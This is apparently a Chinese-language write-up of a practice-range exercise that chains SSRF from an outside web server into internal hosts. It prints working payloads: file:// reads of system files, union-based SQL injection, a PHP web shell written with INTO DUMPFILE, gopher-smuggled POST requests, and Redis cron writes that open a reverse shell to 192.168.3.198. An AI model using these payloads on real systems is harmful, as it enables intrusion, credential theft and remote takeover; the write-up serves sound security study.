SSRF从外网到内网靶场演练

SSRF从外网到内网靶场演练

感谢国光做靶场,学习一些的思路以及多种利用姿势


靶场演练

首先是存在SSRF漏洞的web站点,我们尝试服务端去获取到百度的robots.txt内容

获取内网信息

file:///etc/passwd

获取主机名查询静态表,可以看到当前机器ip是172.72.23.21

file:///etc/hosts

查看arp缓存列表

file:///proc/net/arp

内网端口探测

配合DICT协议对内网端口进行探测,一般只能探测TCP回显端口

尝试使用Burp进行爆破,可以看到从21-29都有主机存活,并且有端口开放

除了DICT协议探测端口外,我们可以使用HTTP协议获取到内网的web信息


我们现在当前是172.72.23.21,先尝试访问下172.72.23.22的80端口,可以看到这里是一个codeexec的页面


内网目录扫描

尝试对目录进行爆破


敏感信息泄漏


代码注入

shell.php

由于我们只能通过ssrf访问,尽可能的对其收集我们需要的信息


查看当前文件

可以看到这里请求失败,是因为空格的问题,我们需要%20代替空格,实际到burp编码是%2520


查看根路径

可以看到当前路径下有个flag文件

SQL注入

尝试访问主机,可以看到这个是存在sql注入的站点

尝试对其注入进行访问,尝试访问

http://172.72.23.23:80?id=1'

尝试的payload

http://172.72.23.23:80/?id=1'%20and%201=1--+
http://172.72.23.23:80/?id=1'%20and%201=2--+
http://172.72.23.23:80/?id=1'%20order%20by%204--+
http://172.72.23.23:80/?id=1'%20order%20by%205--+
http://172.72.23.23:80/?id=1'%20union%20select%201,2,3,4--+
http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,4--+
http://172.72.23.23:80/?id=-1'%20union%20select%201,version(),database(),4--+
http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='flag_is_here'--+
http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,group_concat(content)%20from%20flag_is_here--+


尝试将shell写入

http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,'<?php%20system($_GET[1])?>'%20INTO%20DUMPFILE%20'/var/www/html/shell.php'--+

成功获取到flag


命令执行

尝试对下一个172.72.23.24进行访问

可以看到功能是一个网络测试功能的接口,这个功能有点高深,其他的注入与代码注入都是get请求,但是我们遇到post请求无法对其进行访问

这也就延伸到gopher协议,协议请求格式如下:

gopher://<host>:<port>/<gopher-path>_<TCP数据流>

gopher 协议是一个古老且强大的协议,从请求格式可以看出来,可以传递最底层的 TCP 数据流,因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。

首先来抓取正常情况下 POST 请求的数据包,删除掉 HTTP 请求的这一行:

Accept-Encoding: gzip, deflate

如果不删的话,打出SSRF请求会乱码,会被两次gzip编码

接着在 Burpsuite 中将本 POST 数据包进行两次 URL 编码:


抓包

对其进行编码

最终 SSRF 完整的攻击请求的 POST 数据包如下:

gopher://172.72.23.24:80/_TCP流

尝试进行访问


XXE实体注入

访问172.72.23.25站点


可以看到是一个登录的时候用户提交的 XML 数据

尝试构造payload,对其进行二次编码

对其进行加密,不知道为什么就是无法执行,可以看到这边有xml的返回结果,最终无果


CVE-2017-12615

Tomcat 中间件,存在 CVE-2017-12615 任意写文件漏洞

尝试传入jsp,利用/进行绕过

不知道为什么可以写jsp文件,但是无法把内容写入


Redis未授权

内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下:

切记需要在burp上空格换成%20,这边&符号要换成%26

# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 设置定时任务角色为 root
dict://172.72.23.27:6379/config set dbfilename root

# 设置定时任务内容
dict://172.72.23.27:6379/set x "\n*/1 * * * * /bin/bash -i >%26 /dev/tcp/192.168.3.198/2333 0>%261\n"

# 保存操作
dict://172.72.23.27:6379/save

我们可以尝试使用dict或者是gopher来进行构造

dict://x.x.x.x:6379/<Redis 命令>

成功反弹


Redis认证

我们可以从前面信息搜集看到6379以及80是开着的

可以看到Redis是需要认证的

80端口是一个存在文件包含的站点

我们思路就是获取到redis的配置文件中的密码,再进行写马,如果没有的话我们可以尝试进行爆破

常见的redis配置文件

/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf

#认证
dict://172.72.23.27:6379/auth P@ssw0rd

# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 设置定时任务角色为 root
dict://172.72.23.27:6379/config set dbfilename root

# 设置定时任务内容
dict://172.72.23.27:6379/set x "\n*/1 * * * * /bin/bash -i >%26 /dev/tcp/192.168.3.198/2333 0>%261\n"

# 保存操作
dict://172.72.23.27:6379/save

成功认证,下面步骤则是一样的


Mysql未授权

我认为这个思路还是很鸡肋,大概记录下思路

大体就是抓取到3389的数据包,执行我们查看数据的操作,之后将数据流转换为gopher数据流,再去发起ssrf请求,执行我们想要的指令

上一篇

Java安全-Tomcat内存马学习